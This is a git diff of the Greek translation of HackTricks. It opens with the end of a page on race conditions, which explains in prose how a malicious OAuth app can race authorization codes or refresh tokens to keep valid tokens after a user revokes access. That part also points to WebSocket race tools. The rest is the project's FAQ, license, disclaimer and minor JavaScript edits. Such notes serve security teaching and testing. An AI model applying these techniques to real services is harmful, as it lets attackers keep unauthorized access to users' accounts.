So, until here just a common login with google/linkedin/github... where you are prompted with a page saying: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
|
||||
Υπάρχουν αρκετοί [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Αυτές οι υπηρεσίες σας επιτρέπουν να δημιουργήσετε μια εφαρμογή και να αυθεντικοποιήσετε χρήστες που έχει καταχωρήσει ο provider. Για να το κάνετε αυτό, ο **client** θα χρειαστεί να **επιτρέψει στην εφαρμογή σας** να έχει πρόσβαση σε κάποια από τα δεδομένα του μέσα στον **OAUth provider**.\
|
||||
Άρα, μέχρι εδώ είναι απλώς ένα κοινό login με google/linkedin/github... όπου σας εμφανίζεται μια σελίδα που λέει: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
|
||||
|
||||
#### Race Condition in `authorization_code`
|
||||
|
||||
Το **πρόβλημα** εμφανίζεται όταν το **αποδεχτείτε** και αυτόματα στέλνει ένα **`authorization_code`** στην κακόβουλη εφαρμογή. Στη συνέχεια, αυτή η **εφαρμογή καταχράται μια Race Condition στον OAUth service provider για να δημιουργήσει περισσότερα από ένα AT/RT** (_Authentication Token/Refresh Token_) από το **`authorization_code`** για τον λογαριασμό σας. Βασικά, θα εκμεταλλευτεί το γεγονός ότι έχετε δεχτεί την εφαρμογή να έχει πρόσβαση στα δεδομένα σας για να **δημιουργήσει πολλούς λογαριασμούς**. Έπειτα, αν **σταματήσετε να επιτρέπετε στην εφαρμογή να έχει πρόσβαση στα δεδομένα σας ένα ζευγάρι AT/RT θα διαγραφεί, αλλά τα υπόλοιπα θα παραμείνουν έγκυρα**.
|
||||
Το **πρόβλημα** εμφανίζεται όταν το **αποδεχτείτε** και αυτό αποστέλλει αυτόματα ένα **`authorization_code`** στην κακόβουλη εφαρμογή. Στη συνέχεια, αυτή η **εφαρμογή εκμεταλλεύεται ένα Race Condition στον OAUth service provider για να δημιουργήσει περισσότερα από ένα AT/RT** (_Authentication Token/Refresh Token_) από το **`authorization_code`** για τον λογαριασμό σας. Βασικά, θα εκμεταλλευτεί το γεγονός ότι αποδεχτήκατε την εφαρμογή να έχει πρόσβαση στα δεδομένα σας για να **δημιουργήσει πολλαπλούς λογαριασμούς**. Έτσι, αν **σταματήσετε να επιτρέπετε στην εφαρμογή να έχει πρόσβαση στα δεδομένα σας, ένα ζευγάρι AT/RT θα διαγραφεί, αλλά τα υπόλοιπα θα εξακολουθούν να είναι έγκυρα**.
|
||||
|
||||
#### Race Condition in `Refresh Token`
|
||||
|
||||
Μόλις έχετε **αποκτήσει ένα έγκυρο RT** μπορείτε να προσπαθήσετε να **το καταχραστείτε για να δημιουργήσετε πολλά AT/RT** και **ακόμα κι αν ο χρήστης ακυρώσει τα δικαιώματα** για την κακόβουλη εφαρμογή να έχει πρόσβαση στα δεδομένα του, **πολλά RTs θα παραμείνουν έγκυρα.**
|
||||
Μόλις έχετε **αποκτήσει ένα έγκυρο RT** μπορείτε να προσπαθήσετε να **το εκμεταλλευτείτε για να δημιουργήσετε πολλαπλά AT/RT** και **ακόμα κι αν ο χρήστης ακυρώσει τα δικαιώματα** για την κακόβουλη εφαρμογή να έχει πρόσβαση στα δεδομένα του, **πολλαπλά RTs θα παραμείνουν έγκυρα.**
|
||||
|
||||
## **RC in WebSockets**
|
||||
|
||||
- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**.
|
||||
- With Burp’s WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune `config()` (thread count) for concurrency; this is often more reliable than batching on a single connection when racing server‑side state across WS handlers. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
|
||||
- Στο [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) θα βρείτε ένα PoC σε Java για αποστολή websocket μηνυμάτων **παράλληλα** ώστε να εκμεταλλευτείτε **Race Conditions και σε Web Sockets**.
|
||||
- Με το Burp’s WebSocket Turbo Intruder μπορείτε να χρησιμοποιήσετε τον engine **THREADED** για να ξεκινήσετε πολλαπλές WS συνδέσεις και να στείλετε payloads παράλληλα. Ξεκινήστε από το επίσημο παράδειγμα και ρυθμίστε τη `config()` (thread count) για concurrency· αυτό είναι συχνά πιο αξιόπιστο από το batching σε μία σύνδεση όταν κάνετε race σε server‑side state ανάμεσα σε WS handlers. Δείτε [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
|
||||
|
||||
## Αναφορές
|
||||
## References
|
||||
|
||||
- [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
|
||||
- [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
|
||||
|
@ -7,51 +7,51 @@
|
||||
> [!TIP]
|
||||
> Αυτές είναι οι **αξίες του έργου HackTricks**:
|
||||
>
|
||||
> - Παρέχουμε **ΔΩΡΕΑΝ** πρόσβαση σε **ΕΚΠΑΙΔΕΥΤΙΚΟΥΣ hacking** πόρους σε **ΟΛΟ** το Διαδίκτυο.
|
||||
> - Το hacking αφορά τη μάθηση, και η μάθηση πρέπει να είναι όσο το δυνατόν πιο δωρεάν.
|
||||
> - Ο σκοπός αυτού του βιβλίου είναι να υπηρετεί ως ένας ολοκληρωμένος **εκπαιδευτικός πόρος**.
|
||||
> - **ΑΠΟΘΗΚΕΥΟΥΜΕ** υπέροχες **hacking** τεχνικές που δημοσιεύει η κοινότητα, δίνοντας στους **αρχικούς συγγραφείς** όλες τις **πιστώσεις**.
|
||||
> - **Δεν θέλουμε την αναγνώριση από άλλους**, απλώς θέλουμε να αποθηκεύσουμε ωραία κόλπα για όλους.
|
||||
> - Να παρέχει **ΔΩΡΕΑΝ** πρόσβαση σε **ΕΚΠΑΙΔΕΥΤΙΚΟ hacking** πόρους σε **ΟΛΟ** το Διαδίκτυο.
|
||||
> - Το hacking αφορά τη μάθηση, και η μάθηση πρέπει να είναι όσο το δυνατόν πιο ΔΩΡΕΑΝ.
|
||||
> - Ο σκοπός αυτού του βιβλίου είναι να χρησιμεύσει ως ολοκληρωμένος **εκπαιδευτικός πόρος**.
|
||||
> - **ΑΠΟΘΗΚΕΥΣΗ** φοβερών **hacking** τεχνικών που δημοσιεύει η κοινότητα δίνοντας στους **ΑΡΧΙΚΟΥΣ** **ΣΥΓΓΡΑΦΕΙΣ** όλα τα **credits**.
|
||||
> - **Δεν θέλουμε την αναγνώριση από άλλους ανθρώπους**, απλώς θέλουμε να αποθηκεύσουμε ωραία κόλπα για όλους.
|
||||
> - Επίσης γράφουμε **τις δικές μας έρευνες** στο HackTricks.
|
||||
> - Σε αρκετές περιπτώσεις θα γράψουμε απλώς **στο HackTricks μια περίληψη των σημαντικών μερών** της τεχνικής και θα **ενθαρρύνουμε τον αναγνώστη να επισκεφτεί το αρχικό άρθρο** για περισσότερες λεπτομέρειες.
|
||||
> - **ΟΡΓΑΝΩΝΟΥΜΕ** όλες τις τεχνικές **hacking** στο βιβλίο ώστε να είναι **πιο προσβάσιμες**
|
||||
> - Η ομάδα HackTricks έχει αφιερώσει χιλιάδες ώρες δωρεάν **μόνο για να οργανώσει το περιεχόμενο** ώστε οι άνθρωποι να μπορούν να **μάθουν πιο γρήγορα**
|
||||
> - Σε αρκετές περιπτώσεις θα γράψουμε απλώς **στο HackTricks μια σύνοψη των σημαντικών σημείων** της τεχνικής και θα **ενθαρρύνουμε τον αναγνώστη να επισκεφτεί την αρχική ανάρτηση** για περισσότερες λεπτομέρειες.
|
||||
> - **ΟΡΓΑΝΩΣΗ** όλων των hacking τεχνικών στο βιβλίο ώστε να είναι **ΠΙΟ ΠΡΟΣΒΑΣΙΜΟ**
|
||||
> - Η ομάδα HackTricks έχει αφιερώσει χιλιάδες ώρες δωρεάν **μόνο για να οργανώσει το περιεχόμενο** ώστε οι άνθρωποι να μπορούν να **μαθαίνουν γρηγορότερα**
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
## Συχνές ερωτήσεις HackTricks
|
||||
## Συχνές Ερωτήσεις HackTricks
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Thank you so much for these resources, how can I thank you?**
|
||||
|
||||
Μπορείτε δημόσια να ευχαριστήσετε τις ομάδες HackTricks για τη συγκέντρωση όλων αυτών των πόρων δημόσια σε ένα tweet αναφέροντας [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
|
||||
Αν είστε ιδιαίτερα ευγνώμονες μπορείτε επίσης [**sponsor the project here**](https://github.com/sponsors/carlospolop).\
|
||||
Και μην ξεχάσετε να **δώσετε ένα αστέρι στα έργα Github!** (Βρείτε τους συνδέσμους παρακάτω).
|
||||
Μπορείτε να ευχαριστήσετε δημόσια τις ομάδες HackTricks για τη συγκέντρωση όλων αυτών των πόρων κάνοντας ένα tweet αναφέροντας [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
|
||||
Αν είστε ιδιαίτερα ευγνώμονες μπορείτε επίσης να [**χορηγήσετε το project εδώ**](https://github.com/sponsors/carlospolop).\
|
||||
Και μην ξεχάσετε να **δώσετε ένα αστέρι στα Github projects!** (Βρείτε τους συνδέσμους παρακάτω).
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **How can I contribute to the project?**
|
||||
|
||||
Μπορείτε να **μοιραστείτε νέες συμβουλές και κόλπα με την κοινότητα ή να διορθώσετε σφάλματα** που βρίσκετε στα βιβλία στέλνοντας ένα **Pull Request** στις αντίστοιχες σελίδες στο Github:
|
||||
Μπορείτε να **μοιραστείτε νέες συμβουλές και τεχνάσματα με την κοινότητα ή να διορθώσετε σφάλματα** που βρίσκετε στα βιβλία στέλνοντας ένα **Pull Request** στις αντίστοιχες σελίδες Github:
|
||||
|
||||
- https://github.com/carlospolop/hacktricks
|
||||
- https://github.com/carlospolop/hacktricks-cloud
|
||||
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||
|
||||
Μην ξεχάσετε να **δώσετε ένα αστέρι στα έργα Github!**
|
||||
Μην ξεχάσετε να **δώσετε ένα αστέρι στα Github projects!**
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Can I copy some content from HackTricks and put it in my blog?**
|
||||
|
||||
Ναι, μπορείτε, αλλά **μην ξεχάσετε να αναφέρετε τους συγκεκριμένους συνδέσμους** από όπου λήφθηκε το περιεχόμενο.
|
||||
Ναι, μπορείτε, αλλά **μην ξεχάσετε να αναφέρετε τους συγκεκριμένους συνδέσμους** από όπου ελήφθη το περιεχόμενο.
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **How can I cite a page of HackTricks?**
|
||||
|
||||
Εφόσον εμφανίζεται ο σύνδεσμος της σελίδας/σελίδων από τις οποίες πήρατε την πληροφορία, αυτό είναι αρκετό.\
|
||||
Εάν χρειάζεστε bibtex, μπορείτε να χρησιμοποιήσετε κάτι σαν:
|
||||
Εφόσον εμφανίζεται ο σύνδεσμος της σελίδας(ων) από τις οποίες πήρατε την πληροφορία, αυτό είναι αρκετό.\
|
||||
Αν χρειάζεστε bibtex μπορείτε να χρησιμοποιήσετε κάτι σαν:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
||||
@ -62,82 +62,84 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
```
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **Can I copy all HackTricks in my blog?**
|
||||
> - **Μπορώ να αντιγράψω όλα τα HackTricks στο blog μου;**
|
||||
|
||||
**Προτιμώ να μην το κάνετε**. Αυτό **δεν πρόκειται να ωφελήσει κανέναν**, καθώς όλο το **περιεχόμενο είναι ήδη δημόσια διαθέσιμο** στα επίσημα HackTricks βιβλία δωρεάν.
|
||||
**Καλύτερα όχι**. Αυτό **δεν θα ωφελήσει κανέναν** καθώς όλο το **περιεχόμενο είναι ήδη δημόσια διαθέσιμο** στα επίσημα βιβλία HackTricks δωρεάν.
|
||||
|
||||
Αν ανησυχείτε ότι μπορεί να εξαφανιστεί, απλώς κάντε fork στο Github ή κατεβάστε το — όπως είπα, είναι ήδη δωρεάν.
|
||||
Αν φοβάσαι ότι θα εξαφανιστεί, απλώς κάνε fork στο Github ή κατέβασέ το, όπως είπα είναι ήδη δωρεάν.
|
||||
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **Why do you have sponsors? Are HackTricks books for commercial purposes?**
|
||||
> - **Γιατί έχετε χορηγούς; Είναι τα βιβλία HackTricks για εμπορικούς σκοπούς;**
|
||||
|
||||
Η πρώτη **HackTricks** **αξία** είναι να προσφέρει **ΔΩΡΕΑΝ** εκπαιδευτικούς πόρους hacking σε **ΟΛΟ** τον κόσμο. Η ομάδα HackTricks έχει **αφιερώσει χιλιάδες ώρες** για να προσφέρει αυτό το περιεχόμενο, ξανά, **ΔΩΡΕΑΝ**.
|
||||
Η πρώτη **αξία** του HackTricks είναι να προσφέρει **ΔΩΡΕΑΝ** εκπαιδευτικούς πόρους για hacking σε **ΟΛΟΝ** τον κόσμο. Η ομάδα HackTricks έχει **αφιερώσει χιλιάδες ώρες** για να προσφέρει αυτό το περιεχόμενο, ξανά, **ΔΩΡΕΑΝ**.
|
||||
|
||||
Αν πιστεύετε ότι τα HackTricks βιβλία γίνονται για **εμπορικούς σκοπούς**, **ΛΑΘΑΣΕΤΕ ΕΝΤΕΛΩΣ**.
|
||||
Αν πιστεύεις ότι τα βιβλία HackTricks έχουν γίνει για **εμπορικούς σκοπούς**, είσαι **ΕΝΤΕΛΩΣ ΛΑΘΟΣ**.
|
||||
|
||||
Έχουμε χορηγούς γιατί, ακόμα κι αν όλο το περιεχόμενο είναι ΔΩΡΕΑΝ, θέλουμε να **δώσουμε στην κοινότητα τη δυνατότητα να εκτιμήσει τη δουλειά μας** αν το επιθυμεί. Επομένως, προσφέρουμε στους ανθρώπους την επιλογή να δωρίσουν στα HackTricks μέσω του [**Github sponsors**](https://github.com/sponsors/carlospolop), και σε σχετικές εταιρείες cybersecurity να χορηγήσουν τα HackTricks και να **υπάρχουν κάποιες διαφημίσεις** στο βιβλίο, με τις **διαφημίσεις** να τοποθετούνται πάντα σε σημεία όπου είναι **ορατές** αλλά **δεν εμποδίζουν** τη μαθησιακή διαδικασία αν κάποιος επικεντρωθεί στο περιεχόμενο.
|
||||
Έχουμε χορηγούς επειδή, ακόμη και αν όλο το περιεχόμενο είναι ΔΩΡΕΑΝ, θέλουμε να **δώσουμε στην κοινότητα τη δυνατότητα να εκτιμήσει τη δουλειά μας** αν το επιθυμεί. Επομένως, προσφέρουμε στους ανθρώπους την επιλογή να δωρίσουν στο HackTricks μέσω [**Github sponsors**](https://github.com/sponsors/carlospolop), και **σχετικές εταιρείες κυβερνοασφάλειας** να χορηγήσουν το HackTricks και να **έχουν μερικές διαφημίσεις** στο βιβλίο, με τις **διαφημίσεις** πάντα τοποθετημένες σε σημεία όπου είναι **ορατές** αλλά **δεν διαταράσσουν τη διαδικασία μάθησης** αν κάποιος επικεντρωθεί στο περιεχόμενο.
|
||||
|
||||
Δεν θα βρείτε τα HackTricks γεμάτα ενοχλητικές διαφημίσεις όπως άλλα blogs με πολύ λιγότερο περιεχόμενο από τα HackTricks, γιατί τα HackTricks δεν είναι φτιαγμένο για εμπορικούς σκοπούς.
|
||||
Δεν θα βρεις το HackTricks γεμάτο με ενοχλητικές διαφημίσεις όπως άλλα blogs με πολύ λιγότερο περιεχόμενο από το HackTricks, επειδή το HackTricks δεν έχει γίνει για εμπορικούς σκοπούς.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?**
|
||||
> - **Τι πρέπει να κάνω αν κάποια σελίδα του HackTricks βασίζεται σε ανάρτησή μου αλλά δεν αναφέρεται;**
|
||||
|
||||
**Λυπούμαστε πολύ. Αυτό δεν θα έπρεπε να είχε συμβεί**. Παρακαλούμε ενημερώστε μας μέσω Github issues, Twitter, Discord... με το link της σελίδας HackTricks που περιέχει το περιεχόμενο και το link του blog σας και **θα το ελέγξουμε και θα το προσθέσουμε ΑΜΕΣΑ**.
|
||||
**Λυπούμαστε πολύ. Αυτό δεν θα έπρεπε να έχει συμβεί**. Παρακαλούμε, ενημερώστε μας μέσω Github issues, Twitter, Discord... τον σύνδεσμο της σελίδας HackTricks με το περιεχόμενο και τον σύνδεσμο του blog σας και **θα το ελέγξουμε και θα το προσθέσουμε το συντομότερο δυνατό**.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **What should I do if there is content from my blog in HackTricks and I don't want it there?**
|
||||
> - **Τι πρέπει να κάνω αν υπάρχει περιεχόμενο από το blog μου στο HackTricks και δεν θέλω να είναι εκεί;**
|
||||
|
||||
Σημειώστε ότι το να υπάρχουν links στη σελίδα σας στο HackTricks:
|
||||
Σημειώστε ότι η ύπαρξη συνδέσμων προς τη σελίδα σας στο HackTricks:
|
||||
|
||||
- Βελτιώνει το **SEO** σας
|
||||
- Το περιεχόμενο **μεταφράζεται σε πάνω από 15 γλώσσες**, κάνοντας δυνατή την πρόσβαση περισσότερων ανθρώπων σε αυτό
|
||||
- **Το HackTricks ενθαρρύνει** τους ανθρώπους να **επισκεφθούν τη σελίδα σας** (αρκετοί μας έχουν αναφέρει ότι από τότε που κάποια σελίδα τους εμφανίστηκε στα HackTricks λαμβάνουν περισσότερες επισκέψεις)
|
||||
- Βελτιώνει το **SEO**
|
||||
- Το περιεχόμενο **μεταφράζεται σε περισσότερες από 15 γλώσσες**, καθιστώντας δυνατή την πρόσβαση περισσότερων ανθρώπων σε αυτό το περιεχόμενο
|
||||
- Το **HackTricks ενθαρρύνει** τους ανθρώπους να **επισκεφτούν τη σελίδα σας** (πολλοί μας έχουν αναφέρει ότι από τη στιγμή που κάποια σελίδα τους βρίσκεται στο HackTricks λαμβάνουν περισσότερες επισκέψεις)
|
||||
|
||||
Ωστόσο, αν εξακολουθείτε να θέλετε το περιεχόμενο του blog σας να αφαιρεθεί από τα HackTricks, απλώς ενημερώστε μας και θα **αφαιρέσουμε οπωσδήποτε κάθε σύνδεσμο προς το blog σας**, και οποιοδήποτε περιεχόμενο βασίζεται σε αυτό.
|
||||
Ωστόσο, αν εξακολουθείτε να θέλετε το περιεχόμενο του blog σας να αφαιρεθεί από το HackTricks, απλώς ενημερώστε μας και θα **αφαιρέσουμε σίγουρα κάθε σύνδεσμο προς το blog σας**, και οποιοδήποτε περιεχόμενο βασίζεται σε αυτό.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **What should I do if I find copy-pasted content in HackTricks?**
|
||||
> - **Τι πρέπει να κάνω αν εντοπίσω αντιγραμμένο περιεχόμενο στο HackTricks;**
|
||||
|
||||
Πάντα **δίνουμε στους αρχικούς συγγραφείς όλα τα credits**. Αν βρείτε μια σελίδα με αντιγραμμένο περιεχόμενο χωρίς αναφορά στην πρωτότυπη πηγή, ενημερώστε μας και είτε θα **το αφαιρέσουμε**, είτε θα **προσθέσουμε τον σύνδεσμο πριν το κείμενο**, είτε θα **το ξαναγράψουμε προσθέτοντας το link**.
|
||||
Πάντα **αποδίδουμε πλήρως την αναγνώριση στους αρχικούς συγγραφείς**. Αν βρείτε μία σελίδα με αντιγραμμένο περιεχόμενο χωρίς αναφορά στην αρχική πηγή, ενημερώστε μας και είτε θα **τη αφαιρέσουμε**, είτε θα **προσθέσουμε τον σύνδεσμο πριν το κείμενο**, είτε θα **την ξαναγράψουμε προσθέτοντας τον σύνδεσμο**.
|
||||
|
||||
## LICENSE
|
||||
|
||||
Copyright © Όλα τα δικαιώματα διατηρούνται εκτός αν αναφέρεται διαφορετικά.
|
||||
Πνευματικά δικαιώματα © Όλα τα δικαιώματα διατηρούνται εκτός αν αναφέρεται διαφορετικά.
|
||||
|
||||
#### Περίληψη Άδειας:
|
||||
|
||||
- Attribution: Σας επιτρέπεται:
|
||||
- Share — αντιγραφή και αναδιανομή του υλικού σε οποιοδήποτε μέσο ή μορφή.
|
||||
- Adapt — remix, μετασχηματισμός και δημιουργία έργων βάσει του υλικού.
|
||||
- Απόδοση: Έχετε το δικαίωμα να:
|
||||
- Κοινοποιήσετε — αντιγράψετε και αναδιανείμετε το υλικό σε οποιοδήποτε μέσο ή μορφή.
|
||||
- Τροποποιήσετε — αναμείξετε, μετασχηματίσετε και να βασιστείτε στο υλικό.
|
||||
|
||||
#### Επιπρόσθετοι Όροι:
|
||||
#### Πρόσθετοι Όροι:
|
||||
|
||||
- Third-Party Content: Κάποια μέρη αυτού του blog/book μπορεί να περιλαμβάνουν περιεχόμενο από άλλες πηγές, όπως αποσπάσματα από άλλα blogs ή δημοσιεύσεις. Η χρήση τέτοιου περιεχομένου γίνεται υπό τις αρχές του fair use ή με ρητή άδεια από τους αντίστοιχους κατόχους πνευματικών δικαιωμάτων. Παρακαλούμε ανατρέξτε στις πρωτότυπες πηγές για συγκεκριμένες πληροφορίες αδειοδότησης σχετικά με περιεχόμενο τρίτων.
|
||||
- Authorship: Το πρωτότυπο περιεχόμενο που έχει δημιουργηθεί από τα HackTricks υπάγεται στους όρους αυτής της άδειας. Σας ενθαρρύνουμε να αποδώσετε αυτό το έργο στον συγγραφέα όταν το μοιράζεστε ή το προσαρμόζετε.
|
||||
- Περιεχόμενο τρίτων: Μερικά μέρη αυτού του blog/βιβλίου ενδέχεται να περιλαμβάνουν περιεχόμενο από άλλες πηγές, όπως αποσπάσματα από άλλα blogs ή δημοσιεύσεις. Η χρήση τέτοιου περιεχομένου γίνεται βάσει των αρχών του fair use ή με ρητή άδεια από τους αντίστοιχους κατόχους πνευματικών δικαιωμάτων. Παρακαλούμε ανατρέξτε στις αρχικές πηγές για συγκεκριμένες πληροφορίες αδειοδότησης σχετικά με περιεχόμενο τρίτων.
|
||||
- Συγγραφή: Το πρωτότυπο περιεχόμενο που δημιουργήθηκε από το HackTricks υπόκειται στους όρους αυτής της άδειας. Σας ενθαρρύνουμε να αποδίδετε αυτό το έργο στον συγγραφέα όταν το μοιράζεστε ή το προσαρμόζετε.
|
||||
|
||||
#### Εξαιρέσεις:
|
||||
|
||||
- Commercial Use: Για ερωτήματα σχετικά με την εμπορική χρήση αυτού του περιεχομένου, παρακαλώ επικοινωνήστε μαζί μου.
|
||||
- Εμπορική Χρήση: Για ερωτήσεις σχετικά με την εμπορική χρήση αυτού του περιεχομένου, παρακαλώ επικοινωνήστε μαζί μου.
|
||||
|
||||
Αυτή η άδεια δεν παραχωρεί κανένα δικαίωμα εμπορικών σημάτων ή δικαιωμάτων branding σε σχέση με το περιεχόμενο. Όλα τα trademarks και το branding που εμφανίζονται σε αυτό το blog/book είναι ιδιοκτησία των αντίστοιχων κατόχων τους.
|
||||
Αυτή η άδεια δεν παραχωρεί κανένα δικαίωμα σε εμπορικά σήματα ή δικαιώματα branding σε σχέση με το περιεχόμενο. Όλα τα εμπορικά σήματα και τα branding που εμφανίζονται σε αυτό το blog/βιβλίο ανήκουν στους αντίστοιχους ιδιοκτήτες τους.
|
||||
|
||||
**Με την πρόσβαση ή τη χρήση των HackTricks συμφωνείτε να τηρείτε τους όρους αυτής της άδειας. Αν δεν συμφωνείτε με αυτούς τους όρους, παρακαλώ, μην προσπελάζετε αυτόν τον ιστότοπο.**
|
||||
**Με την πρόσβαση ή χρήση του HackTricks, συμφωνείτε να συμμορφώνεστε με τους όρους αυτής της άδειας. Εάν δεν συμφωνείτε με αυτούς τους όρους, παρακαλώ μην επισκέπτεστε αυτόν τον ιστότοπο.**
|
||||
|
||||
## **Disclaimer**
|
||||
## **Αποποίηση ευθυνών**
|
||||
|
||||
> [!CAUTION]
|
||||
> Αυτό το βιβλίο, 'HackTricks,' προορίζεται μόνο για εκπαιδευτικούς και ενημερωτικούς σκοπούς. Το περιεχόμενο μέσα σε αυτό το βιβλίο παρέχεται "ως έχει", και οι συγγραφείς και οι εκδότες δεν παρέχουν καμία εκπροσώπηση ή εγγύηση οποιουδήποτε είδους, ρητή ή σιωπηρή, σχετικά με την πληρότητα, ακρίβεια, αξιοπιστία, καταλληλότητα ή διαθεσιμότητα των πληροφοριών, προϊόντων, υπηρεσιών ή σχετικών γραφικών που περιλαμβάνονται σε αυτό το βιβλίο. Οποιαδήποτε εμπιστοσύνη τοποθετείτε σε τέτοιες πληροφορίες είναι συνεπώς αυστηρά με δικό σας ρίσκο.
|
||||
> Αυτό το βιβλίο, 'HackTricks,' προορίζεται μόνο για εκπαιδευτικούς και ενημερωτικούς σκοπούς.
|
||||
>
|
||||
> Οι συγγραφείς και οι εκδότες δεν θα ευθύνονται σε καμία περίπτωση για οποιαδήποτε απώλεια ή ζημία, συμπεριλαμβανομένων χωρίς περιορισμό, έμμεσων ή επακόλουθων ζημιών ή απωλειών, ή οποιασδήποτε απώλειας ή ζημίας που προκύπτει από απώλεια δεδομένων ή κερδών που προκύπτουν από ή σε σύνδεση με τη χρήση αυτού του βιβλίου.
|
||||
> Το περιεχόμενο αυτού του βιβλίου παρέχεται 'ως έχει', και οι συγγραφείς και εκδότες δεν παρέχουν καμία δήλωση ή εγγύηση οποιουδήποτε είδους, ρητή ή σιωπηρή, σχετικά με την πληρότητα, ακρίβεια, αξιοπιστία, καταλληλότητα ή διαθεσιμότητα των πληροφοριών, προϊόντων, υπηρεσιών ή σχετικών γραφικών που περιλαμβάνονται σε αυτό το βιβλίο. Οποιαδήποτε εμπιστοσύνη τοποθετήσετε σε τέτοιες πληροφορίες είναι επομένως αυστηρά με δικό σας ρίσκο.
|
||||
>
|
||||
> Επιπλέον, οι τεχνικές και οι συμβουλές που περιγράφονται σε αυτό το βιβλίο παρέχονται για εκπαιδευτικούς και ενημερωτικούς σκοπούς μόνο, και δεν πρέπει να χρησιμοποιούνται για οποιεσδήποτε παράνομες ή κακόβουλες δραστηριότητες. Οι συγγραφείς και οι εκδότες δεν εγκρίνουν ούτε υποστηρίζουν οποιεσδήποτε παράνομες ή ανήθικες ενέργειες, και οποιαδήποτε χρήση των πληροφοριών που περιέχονται σε αυτό το βιβλίο γίνεται με δική του ευθύνη.
|
||||
> Οι συγγραφείς και εκδότες δεν θα είναι σε καμία περίπτωση υπεύθυνοι για οποιαδήποτε απώλεια ή ζημία, συμπεριλαμβανομένων χωρίς περιορισμό, έμμεσων ή επακόλουθων απωλειών ή ζημιών, ή οποιασδήποτε απώλειας ή ζημίας που προκύπτει από απώλεια δεδομένων ή κερδών που προκύπτουν από ή σε σχέση με τη χρήση αυτού του βιβλίου.
|
||||
>
|
||||
> Ο χρήστης είναι αποκλειστικά υπεύθυνος για οποιεσδήποτε ενέργειες λάβει βάσει των πληροφοριών που περιέχονται σε αυτό το βιβλίο, και θα πρέπει πάντα να αναζητά επαγγελματική συμβουλή και βοήθεια όταν επιχειρεί να εφαρμόσει οποιεσδήποτε από τις τεχνικές ή συμβουλές που περιγράφονται εδώ.
|
||||
> Επιπλέον, οι τεχνικές και συμβουλές που περιγράφονται σε αυτό το βιβλίο παρέχονται μόνο για εκπαιδευτικούς και ενημερωτικούς σκοπούς, και δεν πρέπει να χρησιμοποιούνται για παράνομες ή κακόβουλες ενέργειες. Οι συγγραφείς και εκδότες δεν εγκρίνουν ούτε υποστηρίζουν οποιεσδήποτε παράνομες ή ανήθικες δραστηριότητες, και οποιαδήποτε χρήση των πληροφοριών που περιέχονται σε αυτό το βιβλίο γίνεται με δική σας ευθύνη και διακριτική ευχέρεια.
|
||||
>
|
||||
> Με τη χρήση αυτού του βιβλίου, ο χρήστης συμφωνεί να απαλλάξει τους συγγραφείς και τους εκδότες από οποιαδήποτε και όλη την ευθύνη και υπαιτιότητα για οποιεσδήποτε ζημίες, απώλειες ή βλάβες που μπορεί να προκύψουν από τη χρήση αυτού του βιβλίου ή οποιασδήποτε από τις πληροφορίες που περιέχονται σε αυτό.
|
||||
> Ο χρήστης είναι αποκλειστικά υπεύθυνος για οποιεσδήποτε ενέργειες ληφθούν βάσει των πληροφοριών που περιέχονται σε αυτό το βιβλίο, και θα πρέπει πάντοτε να ζητά επαγγελματική συμβουλή και βοήθεια όταν επιχειρεί να εφαρμόσει οποιαδήποτε από τις τεχνικές ή συμβουλές που περιγράφονται εδώ.
|
||||
>
|
||||
> Με τη χρήση αυτού του βιβλίου, ο χρήστης συμφωνεί να απαλλάσσει τους συγγραφείς και τους εκδότες από οποιαδήποτε και συνολική ευθύνη και υπευθυνότητα για τυχόν ζημίες, απώλειες ή βλάβες που ενδέχεται να προκύψουν από τη χρήση αυτού του βιβλίου ή οποιασδήποτε από τις πληροφορίες που περιέχονται σε αυτό.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -491,3 +491,4 @@
|
||||
handle.addEventListener("touchstart", onStart, { passive: false });
|
||||
}
|
||||
})();
|
||||
|
||||
|
@ -68,11 +68,11 @@
|
||||
const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download';
|
||||
const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download';
|
||||
|
||||
const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
|
||||
const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
|
||||
